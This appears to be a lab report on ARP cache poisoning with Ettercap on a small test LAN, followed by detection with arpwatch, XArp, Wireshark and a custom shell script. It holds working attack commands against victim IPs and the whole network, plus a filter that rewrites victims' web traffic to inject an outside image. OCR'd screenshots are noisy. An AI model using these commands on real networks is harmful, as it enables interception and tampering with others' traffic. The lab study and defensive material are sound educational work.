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1. Introduction
  “ARP spoofing, or ARP cache poisoning is a method of attacking an Ethernet LAN by updating the target computer’s ARP cache with both a forged ARP request and reply packets in an effort to change the Layer 2 Ethernet MAC address (i.e., the address of the network card) to one that the attacker can monitor. Because the ARP replies have been forged, the target computer sends frames that were meant for the original destination to the attacker’s computer first so the frames can be read. A successful ARP attempt is invisible to the user” [d-1].

“An attacker can, in fact, poison the ARP cache of the router itself, but the router won't pass the ARP packets along to its other links. Switches with port security features that bind MAC addresses to individual ports do not prevent this attack since no MAC addresses are actually changed. The attack occurs at a higher network layer, the IP layer, which the switch does not monitor.” [r-5]. The attacker could then modify the data before forwarding it and perform a man-in-the-middle attack. 

By logically getting between the victim's machine and the gateway or router and Using ARP-poisoning, the attacker can get and associate certain IP addresses with certain Media Access Control using Address Resolution Protocol. These start by communicating with the gateway that the victim's IP address belongs to the attacker's MAC address. Next, they convince the victim that the gateway's IP address belongs to the attacker's MAC address. Lastly, packets bound for the gateway pass through the attacker's interface before reaching the gateway and gateway packets bound for the victim pass through the attacker's interface before getting forwarded to the victim. This allows the man-in-the-middle to change the traffic using filters.

Ettercap is one of the tools that can be used for man in the middle attack and packet filtering. Packet filtering is filtering the TCP or UDP packets and searching for a specific string (in ASCI or hexadecimal form) in them and finally replacing that string with the string of your choice. Ettercap intercepts the traffic and can modify the payload field of the packet based on some filtering options. The attacker can design the filter to drop, alter or inject new packets.
2. network configuration
Our network consists of these components: a router, two laptops and a PC.

Router: 

Model No:
Linksys WRT54GL 

IP:
192.168.1.1 

MAC:
00-1C-10-9E-8C-D1

PC (victim 1):

OS: 
Ubuntu 7.10 (Linux Kernel 2.6.22-14-generic)

CPU:
Intel P4 2.4 GHz

RAM:
1 GB 

MAC: 
00-12-17-9A-8C-D5

IP: 
192.168.1.109
Laptop1 (victim 2):

Model No: 
VAIO computer ,Genuine INT® CPU, T2400

OS: 
Windows XP professional SP2
CPU: 
Intel 1.83GHz Core 2 Duo

RAM:
1GB 

MAC: 
00-13-02-3B-1A-8C

IP: 
192.168.1.101

Laptop2 (attacker):

Model No:
Toshiba Satellite A100-TA4

OS: 
Ubuntu 6.10 (Linux Kernel 2.6.22-16-generic)
CPU:
Intel P4 1.6 GHz Core 2 Duo

RAM:
1 GB 
MAC:
00-18-DE-5A-C7-64
IP: 
192.168.1.100
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Settings  Help
root@hpgc-pc-01:~/Desktop# apt-get install ettercap =
Reading package lists... Done

Building dependency tree

Reading state information... Done

[The following packages will be REMOVED:
ettercap-gtk
[The following NEW packages will be installed:
ettercap
o upgraded, 1 newly installed, 1 to remove and 13 not upgraded
Need to get 196kB of archives
|fter unpacking, 123kB disk space will be freed
Do you want to continue [Y/n]7 y
[WARNING: The following packages cannot be authenticated
ettercap
Tnstall these packages without verification [y/N17 y
lGet:1 http://mirror.cpsc.ucalgary.ca gutsy/universe ettercap 1:0.7.3-1.2ubuntu2 [
96ka]
Fetched 196ke in 3s (55.4k8/s
(Reading database ... 116218 files and directories currently installed.
Removing ettercap-gtk ... &
Selecting previously deselected package ettercap.
(Reading database ... 116210 files and directories currently installed.
unpacking ettercap (from .../ettercap 1%3a0.7.3-1.2ubuntu2_i386.deb
setting up ettercap (1:0.7.3-1.2ubuntu2) ..
root@hpgc-pc-01:~/Desktop# apt-get remove ettercap E}

(| @ shen A





Figure 2.1: Network configuration

3. installation
We are installing all the software on Ubuntu (or debian) Linux operating system. 

1.1. Ettercap Installation

Ettercap is freely available for download from http://ettercap.sourceforge.net. 

In order to use the SSH1 and HTTPS sniffing features, ettercap requires that you install the OpenSSL libraries first, to allow support for Secure Sockets Layer (SSL) and Transport Layer Security (TLS). Many UNIX distributions include OpenSSL with their default installations, but the most recent OpenSSL libraries are available for download from http://www.openssl.org. The latest stable version as of this writing is OpenSSL 0.9.7d.

On Ubuntu Linux operating system, we can use the command to download and install Ettercap automatically with all the dependencies:
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# apt-get install ettercap
Figure 3.1: Ettercap installation
We can also choose to install Ettercap from source code. Ettercap source code can be downloaded from http://ettercap.sourceforge.net/index.php?s=download. After downloading the file ettercap-0.6.b.tar.gz, uncompress the file to an installation directory. 

# tar xvzf ettercap-0.6.b.tar.gz

This creates the folder ettercap-0.6.b. Now install ettercap with all its plugins:

# cd ettercap-0.6.b 

#./configure 

# make install 

Prior to install it from source code, the following libraries are required to be installed:

· libpcap>=0.8.1 

· libnet>=1.1.2.1 

· libpthread 

· zlib 

The following optional libraries can also be installed to enable some optional features of ettercap: 

· libltdl (part of libtool) - to enable plugins

· libpcre - to have perl regexp in the filters

· openssl 0.9.7 - to support SSH and SSL decryption

· ncurses >= 5.3 - for the cursed GUI

· pkgconfig >= 0.15.0 - for the GTK+ GUI:

· Glib >= 2.4.x

· Gtk+ >= 2.4.x

· Atk >= 1.6.x

· Pango >= 1.4.x

If you want SSH1 and/or HTTPS support, ettercap requires OpenSSL libraries

1.2. Wireshark Installation 

On the Ubuntu system we can install it by the command: 

# apt-get install wireshark 
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Session ew Bookmarks Settings Help
root@hpgc-pc-01:~/Desktop# apt-get install wireshark =
Reading package lists... Done
Building dependency tree
Reading state information... Done
[The following NEW packages will be installed:

wireshark

0 upgraded, 1 newly installed, 0 to remove and 13 not upgraded
Need to get 08/588kB of archives.

|After unpacking, 1462kB of additional disk space will be used

WARNING: The following packages cannot be authenticated

wireshark

Tnstall these packages without verification [y/N17 y

selecting previously deselected package wireshark.

(Reading database ... 116216 files and directories currently installed.
Unpacking wireshark (from .../wireshark 0.99.6rel-3_i386.deb

setting up wireshark (0.99.6rel-3

root@hpgc-pc-01:~/Desktop# |
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Figure 3.2: Wireshark installation
 If we want the latest version of Wireshark, we could install it from source code. Just download the file from http://www.wireshark.org/download/src/wireshark-0.99.3a.tar.gz. Open a terminal and execute.
# ./configure 

# make 

# make install

Before installing Wireshark the following libraries must be installed: 

· GLib-1.2.10 or GLib-2.12.12 

· libpcap-0.9.6 (required to capture data) 

1.3. ArpWatch Installation
In Ubuntu linux we can install ArpWatch using the following command: 

# apt-get install arpwatch 
Figure 3.3: ArpWatch installation
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root@hpgc-pc-01:~/Desktop# apt-get install arpwatch =
Reading package lists... Done
Building dependency tree
Reading state information... Done
Suggested packages:
snmp
[Recommended packages:
mail-transport-agent
[The following NEW packages will be installed:
arpuatch
o upgraded, 1 newly installed, 0 to remove and 13 not upgraded
Need to get 0B/124kB of archives.
Ifter unpacking, 467kB of additional disk space will be used.
[WARNING: The following packages cannot be authenticated
arpuatch
Install these packages without verification [y/NI7 y
Selecting previously deselected package arpwatch.
(Reading database ... 116227 files and directories currently installed.
unpacking arpwatch (from .../arpwatch 2.1a13-2_i386.deb
setting up arpwatch (2.1a13-2
Starting Ethernet/FDDI station monitor daemon: (chown arpwatch /var/lib/arpwatch/arp.dat
) arpwatch.

root@hpgc-pc-01:~/Desktop# |
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Arpwatch is freely available on the internet and we can download it from http://www.securityfocus.com/data/tools/arpwatch.tar.gz. We can get the source code extract in a directory and inside the directory use the following command to install it:
# ./configure 

# make 

# make install

1.4. Nmap Installation
We can install Nmap on Ubuntu linux using the command:

# apt-get install nmap

Figure 3.4: Nmap installation
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Session ew Bookmarks Settings Help
root@hpgc-pc-01:~/Desktop# apt-get install nmap =
Reading package lists... Done
Building dependency tree
Reading state information... Done
[The following NEW packages will be installed:

nmap

0 upgraded, 1 newly installed, 0 to remove and 13 not upgraded
Need to get 0B/750kB of archives.
|After unpacking, 2703kB of additional disk space will be used
WARNING: The following packages cannot be authenticated
nnap
Tnstall these packages without verification [y/N17 y
selecting previously deselected package nmap.
(Reading database ... 116200 files and directories currently installed.
Unpacking nmap (from .../archives/nmap_4.20-2_i386.deb
setting up nmap (4.20-2)

root@hpgc-pc-01:

()| @ she

/Desktop# [|
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We can also download Nmap source code from http://insecure.org/nmap/download.html. After extracting the source code the following commands can be used to install it:
# ./configure
# make

# make install

1.5. Xarp Installation

Xarp is a tool for Microsoft Windows to monitor the arp cache. It can be downloaded from http://www.chrismc.de/developing/xa...p_2_0_beta1.zip. The installation of Xarp is very simple.

4. attack generaTION
To generate the attack first of all we have to search for a host on which we want to mount the attack. We have used nmap to get the list of hosts which are currently up in the network. Once we get the IP addresses we can attack any one or all of the hosts with ettercap. We can choose only to monitor the websites the victim is visiting or we can modify the contents of the website so that the victim cannot see the actual contents of the website.
1.6. Using nmap to find the hosts
Namp can be used to get the list of all available hosts before mounting the attack. But to do so the attacker must have root access. The following command is used for this purpose:

# nmap –sP 192.168.1.*

The output of this command will be something like the following:

#nmap –sP 192.168.1.*
Starting Nmap 4.20 ( http://insecure.org ) at 2007-11-05 12:56 Eastern Standard Time

Host 192.168.1.1 appears to be up.

MAC Address: 00:1C:10:9E:8C:D1 (Unknown)

Host 192.168.1.100 appears to be up.

Host 192.168.1.101 appears to be up.

MAC Address: 00:13:02:3B:1A:8C (Intel Corporate)

Host 192.168.1.102 appears to be up.

MAC Address: 00:12:17:9A:8C:D5 (Cisco-Linksys)

Nmap finished: 256 IP addresses (4 hosts up) scanned in 50.484 seconds
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Session Edit View Bookmarks Settings Help
root@Razmataz:~/Ettercap# nmap -sP 192.168.1.%

Starting Nmap 4.20 ( http://insecure.org ) at 2007-11-06 13:06 ES
Host 192.168.1.1 appears to be up.

MAC Address: 00:1C:10:9E:8C:D1 (Unknown)

Host 192.168.1.100 appears to be up.

Host 192.168.1.101 appears to be up.

MAC Address: 00:13:02:38:1A:8C (Intel Corporate)

Host 192.168.1.109 appears to be up.

MAC Address: 00:12:17:9A:8C:DS (Cisco-Linksys)

Nnap finished: 256 IP addresses (4 hosts up) scanned in 48.450 se
root@Razmataz:~/Ettercap# [|




Figure 4.1: Nmap output
1.7. Using Ettercap to mount attack
To mount a simple attack, on the attacking machine, first start the browser and then use the following command:
#ettercap -T -Q -M arp:remote -i eth1 /192.168.1.102/ // -P remote_browser

the -T starts ettercap in text mode.

the  -Q will make ettercap be superQuiet (not print raw packets in the terminal window)

the  -M starts man in the middle mode, and 

the arp:remote is the type of poisoning, and remote is a parameter for MITM. These options can be combined into one switch like -TQM.
eth1 is the network interface used in the attacking machine.

192.168.1.102 is the IP address of the victim.
The above command will log all the URLs that the victim visits on the attacker’s computer. Also this will let a netscape-based browser (Mozilla, Firefox, Netscape etc) on the attacking machine silently follow the web pages that a victim machine visits. Figure 4.2 shows the screenshot of the output of the above command.
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rooteRaznataz: ~/Ettercap# ettercap -T -Q -M arp:remote -i ethl /192.168.1.109/ // -P renote_browser
ettercap NG-0.7.3 copyright 2001-2004 ALOR & NaGA
Listening on ethl... (Ethernet)
ethl 00:18:DE:5A:C7:64  192.168.1,100  255.255.255.0

SSL dissection needs a valid *redir_connand_on’ script in the etter.conf file
Privileges dropped to UID 65534 GID 65534

28 plugins
39 protocol dissectors
53 ports monitored

7587 mac vendor fingerprint

1698 tcp 05 Fingerprint

2183 known services

Randomizing 255 hosts for scanning
Scanning the whole netnask for 255 hosts

3 hosts added to the hosts list
ARP poisoning victins
GROP 1 : 192.168.1.109 00:12:17:94:8C:05
GROP 2 : ANY (all the hosts in the list
Starting Unified sniffing
Text only Interface activated
Hit 'h' for inline help
Activating renote_browser plugin
REMOTE COMMAND: mozilla -remote openurl(http: //wa. uwindsor . ca/

Xlib: connection to *:0.0" refused by server
Xlib: No protocol specified




Figure 4.2: Ettercap output
1.1.1. Ettercap Filter

Ettercap filter can be used to modify or drop packets so that the victim cannot get the actual content of the website that he wants to visit. Figure 4.2 is an example of a simple ettercap filter which replaces all the images of any website on victim’s computer with an image chosen by the attacker.
########################################################

##                      ig.filter                     ##

########################################################

if (ip.proto == TCP && tcp.dst == 80) {

   if (search(DATA.data, "Accept-Encoding")) {

      replace("Accept-Encoding", "Accept-Rubbish!"); 


  # note: replacement string is same length as original string

      msg("zapped Accept-Encoding!\n");

   }

}

if (ip.proto == TCP && tcp.src == 80) {

   replace("img src=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");

   replace("IMG SRC=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");

   msg("Filter Ran.\n");

}

Figure 4.2 : Etercap filter
The filter has to be saved as a text file with any name, for example “ig.filter”. Next step is to compile the filter. To do so use the following command:
# etterfilter ig.filter -o ig.ef

This will create a new filter file named “ig.ef ”. This file is then used as a parameter with the Ettercap command. The following command will modify all the images of website of a specific victim with IP 192.168.1.103.
# ettercap -T -q -F ig.ef -M ARP -i eth1 /192.168.1.103/ //
If we want to target all the computers of the network the following command can be used:

# ettercap -T -q -F ig.ef -M ARP -i eth1 // //

Here are what the command line option flags do:


-T tells Ettercap to use the text interface, I like this option the best as the more GUI modes are rather confusing.


-q tells Ettercap to be more quiet, in other words less verbose.


-F tells Ettercap to use a filter, in this case ig.ef that we compiled earlier.


-M tells Ettercap the MITM (Man in the Middle) method we want to use, in this case ARP poisoning.
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Once Ettercap is running we should get some output something like the following on victim’s web browser:
5. DETECTION
Detecting an Ettercap attack is quite difficult. There is no type signature on the packets that are modified by ettercap and the packets look like normal packets. So no IDS can easily detect ettercap attack. The only possible way is to continuously monitor the arp cache on victim’s computer to detect any unusual arp activity. Because before launching the attack ettercap poisons the arp cache of victim computer. If we detect any arp poisoning then we can conclude that there may be chance of ettercap attack. Also ettercap can detect any other ettercap users on the network. So if we detect any arp poisoning, we can then use ettercap on the victim computer or on any other computer to detect whether any other computer on the network is using ettercap or not. 
To detect ARP poisoning we can use arpwatch on linux and xarp on windows system. Also wireshark can be used to detect ARP poisoning.

1.8. ArpWatch 

Arpwatch is a tool for detecting ARP changes of a computer. It maintains a database of Ethernet MAC addresses seen on the network, with their associated IP pairs. If there is any change in the ARP cache, arpwatch logs the change in the system log. We can then use the linux tail command to see the change on shell prompt.
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# tail -f
hpgc-pc-01
hpgc-pc-01
hpgc-pc-01
hpgc-pc-01
hpgc-pc-01
hpgc-pc-01
hpgc-pc-01
hpgc-pc-01
hpgc-pc-01
hpgc-pc-01
hpgc-pc-61

hpgc-pc-01
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hpgc-pc-01
hpgc-pc-01
hpgc-pc-01
hpgc-pc-61
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hpgc-pc-01
hpgc-pc-01
hpgc-pc-61

# arpwatch -1 wlano

/var/log/syslog
arpwatch: flip flop 192.168.1.1 0:18:de:5a:c7:64 (0:1c:10:9e:8c:d1) wland
arpwatch: execl: /usr/lib/sendnail: No such file or directory

arpwatch: reaper: pid 6998, exit status 1

arpwatch: listening on wlan®

arpwatch: execl: /usr/lib/sendnail: No such file or directory

arpwatch: reaper: pid 6996, exit status 1

arpwatch: execl: /usr/lib/sendnail: No such file or directory

arpwatch: reaper: pid 6997, exit status 1

arpwatch: execl: /usr/lib/sendnail: No such file or directory
arpwatch: reaper: pid 6999, exit status 1
arpwatch: changed ethernet address 192.168.1.1 0:1c:10:9e:8c:dl (0:c:20:77:3F:b6) wl

arpwatch: flip flop 192.168.1.1 0:1c:10:9e:8c:d1 (0:18:de:5a:c7:64) wland

last message repeated 2 times
arpwatch: flip flop 192.168.1.101 0:13:2:3b:1a:8¢ (0:18:de:5a:c7:64) wlan®
arpwatch: execl: /usr/lib/sendnail: No such file or directory

arpwatch: reaper: pid 7004, exit status 1

arpwatch: changed ethernet address 192.168.1.100 0:18:de:5a:c7:64 (0:c:29:74:a2:93

avahi-daemon[5058] : write(): Broken pipe
arpwatch: execl: /usr/lib/sendnail: No such file or directory

arpwatch: reaper: pid 7006, exit status 1

arpwatch: flip flop 192.168.1.101 0:13:2:3b:1a:8¢ (0:18:de:5a:c7:64) wlan®
arpwatch: execl: /usr/lib/sendnail: No such file or directory

arpwatch: reaper: pid 7005, exit status 1

avahi-daemon[5058] : write(): Broken pipe
arpwatch: execl: /usr/lib/sendnail: No such file or directory

arpwatch: reaper: pid 7007, exit status 1

arpwatch: execl: /usr/lib/sendnail: No such file or directory

arpwatch: reaper: pid 7009, exit status 1

arpwatch: new station 192.168.1.101 0:13:2:3b:1a:8c wlan®

arpwatch: changed ethernet address 192.168.1.1 0:18:de:5a:c7:64 (0:1c:10:9e:8c:d1) w

arpwatch: execl: /usr/lib/sendnail: No such file or directory
arpwatch: reaper: pid 7008, exit status 1

arpwatch: flip flop 192.168.1.1 0:18:de:5a:c7:64 (0:1c:10:9e:8c:d1) wland
avahi-daemon[5058]: write(): Broken pipe

arpwatch: new station 192.168.1.101 0:13:2:3b:1a:8c wlan® E}

13:16:
hell

=IEE




Figure 5.1: arpwatch output

1.9. XARP 

XArp is a tool that runs on Windows for ARP spoofing detection. It is a small but useful graphical tool to monitor the ARP cache of our computer. It periodically requests the local ARP cache. As it reports changes in the IP to MAC mapping by comparing the new entries against the old ones. Thus XArp can be used to recognize ARP poisoning which is used to prepare 'man in the middle' attacks. 
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4 - 13:31:52: Mapping changed: 192.168.1.1 changed from 00-18-DE-54-C7-64 to 00-1C-10-9E-C-D1
5 - 13:32122: Mapping changed: 192.168.1.1 changed from 00-1C-10-8E-8C-D1 to 00-16-DE-5A-C7-64
6 - 13:32:23; Mapping changed: 12.168.1.109 changed from 00-12-17-94-8C-DS to 00-18-DE-5A-C7-64
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[C:\Docunents and Settings\adnindarp —a

Interface: 192.168.1.101 — 0x3
Internet Address Physical Address
192.168.1.1 00-18-de-5a-c7-64
192.16871.100 00-18-de-5a—c7-64
192016821169 00-18-de-5a-c7-64

[c:\Docunents and Settings\adnin>_

Type
dynanic
dynanic
dynanic



Figure 5.2: Xarp output

Figure 5.3: Windows ARP cache
1.10. Wireshark 

Wireshark is a software that "understands" the structure of different network protocols. Thus it's able to display encapsulation and single fields and interpret their meaning. Wireshark uses pcap to capture packets, so it can only capture on networks supported by pcap. Wireshark lets you interactively browse packet data from a live network or from a previously saved capture file.
[image: image14.png]Fle Edit View Go Capture Analyze Statistics Help
e @l a
[eiter: [

No.. Time Source Destination Protocol | Info
192 8.0 Intet_sarcren Broadcast e WO Nas 192 T68. L. 1497 TeLL 192168, L.
193 8.035567  Intel_Sa:c7:64 Broadcast AP who has 162.168.1.75? Tell 182.168.1.100
194 8.128084  Intel_Sa:c7:64 Broadcast AP who has 162.168.1.57? Tell 182.168.1.100
195 8.128024  Intel_Sa:c7:64 Broadcast AP who has 162.168.1.1787 Tell 182.168.1.100
196 8120720 Intel_Sa:c7:64 Broadcast AP who has 162.168.1.807 Tell 182.168.1.100
197 8.130680  Intel_Sa:c7:64 Broadcast AP who has 162.168.1.38? Tell 182.168.1.100
198 8232562 Intel_Sa:c7:64 Broadcast AP who has 162.168.1.267 Tell 182.168.1.100
199 8.233451  Intel_Sa:c7:64 Broadcast AP who has 162.168.1.215? Tell 182.168.1.100
200 8.234433  Intel _Sa:c7:64 Broadcast AP who has 162.168.1.1087 Tell 182.168.1.100
201 8.235257  Intel _Sa:c7:64 Broadcast AP who has 162.168.1.33? Tell 182.168.1.100
2028.236142  Intel _Sa:c7:64 Broadcast AP who has 162.168.1.2467 Tell 162.168.1.100
203 8.238603  Intel _Sa:c7:64 Broadcast AP who has 162.168.1.167? Tell 182.168.1.100
204 8.332867  Intel _Sa:c7:64 Broadcast AP who has 162.168.1.1417 Tell 182.168.1.100
2058.333753  Intel _Sa:c7:64 Broadcast AP who has 162.168.1.147? Tell 182.168.1.100
206 8.334648  Intel _Sa:c7:64 Broadcast AP who has 192.168.1.697 Tell 182.168.1.100
207 8.335570  Intel _Sa:c7:64 Broadcast AP who has 192.168.1.162? Tell 192.168.1.100 |
208 8.336393  Intel _Sa:c7:64 Broadcast AP who has 162.168.1.717 Tell 182.168.1.100
200 8.435234  Intel_Sa:c7:64 Broadcast AP who has 162.168.1.255? Tell 192.168.1.100 |
210 8.436037  Intel _Sa:c7:64 Broadcast AP who has 162.168.1.1287 Tell 182.168.1.100
211 8.436851  Intel _Sa:c7:64 Broadcast AP who has 162.168.1.507 Tell 182.168.1.100
212 8.437665  Intel _Sa:c7:64 Broadcast AP who has 162.168.1.367 Tell 182.168.1.100
213 8.438569  Intel _Sa:c7:64 Broadcast AP who has 162.168.1.1407 Tell 182.168.1.100
214 8.538637  Intel _Sa:c7:64 Broadcast AP who has 162.168.1.157 Tell 182.168.1.100
1 9484 Tntel 107:64 Broadcast RP. who_h. 192.168.1 47 Tell 192.168.1.1

(cil I D]
b Frame 1 (42 bytes on wire, 42 bytes captured

b Ethernet 1T, Src: Intel _Sa:c7:64 (00:18:de:Sa:c7:64), Dst: Cisco-Li_Sa:8c:dS (00:12:17:9a:8c:ds)

b Address Resolution Protocol (reply

0000 00 12 17 9a &c d5 00 18 de Sa c7 64 08 06 00 01
0010 08 00 06 04 00 02 00 18 de Sa c7 64 cO a8 01 01
0020 00 12 17 9a 8¢ d5 c0 a8 01 6d

INN

wlan0: <live capture in progress> Fie: /tmp/ethercOXaMN3US 15 KB P1277 D: 277 M: 0




To do ARP poisoning the attacker sends lots of ARP response packets. So, in wireshark if we see a huge number of ARP requests with same MAC address, we can conclude that an ARP spoofing attack is going on.

Figure 5.4: Wireshark output

1.11. Our Shell Script
We have also written a small shell script which can continuously monitor the ARP cache and and alerts the user if it detects any ARP spoofing. Figure 5.5 lists the shell script that we have written.

#!/bin/bash

# User define Function (UDF)

chkARP(){


cut -d' ' -f4 <(arp -a) > arpcache


exec <arpcache


while read line


do



list=( "${list[@]}" $line )


done


for mac in ${list[@]} 


do


#
count= wc -l <(grep -i $mac <arp)



cut -d' ' -f1 <(wc -l <(grep -i $mac <arpcache)) > .tmp_chk123



read count < .tmp_chk123



#echo "$ mac $count"



if [ $count -gt 1 ]; then




echo "WARNING:: ARP Poisoned : $mac $count"



fi



rm .tmp_chk123


done

}

### Main script stars here ###

# Store file name

# Make sure we get file name as command line argument 

# Else read it from standard input device

while [ 1 ]

do


chkARP

done

exit 0

Figure 5.5: Shell script “chkarp.sh” to detect ARP poisoning

Figure 5.6 is a snapshot of the output of this shell script when there is any ARP spoofing.

Figure 5.6: Output of chkarp.sh
6. CONCLUSION
An attacker can use ettercap to launch a man-in-the-middle attack very easily once he has a LAN connection. Most tools cannot detect the attack launched by Ettercap and the most effective way to detect this attack is to monitor the ARP cache using any network monitoring tool.

One of the tools that can be used for detecting an ettercap attack is arpwatch which is a linux tool that monitors the network for changing ARP data and watches for ARP attack signatures. Arpwatch maintains a database of current IP and MAC address mappings, and can report changes to this database through email. Ettercap can also be used to watch for ARP attack signatures. For windows there is a similar tool, XARP which continuously monitors the ARP cache. Also, a properly configured intrusion detection system will probably notice the startup of ARP storm and the crafted ARP Reply packets and notify the network security personnel that there is an ARP poisoning operation taking place in the network.
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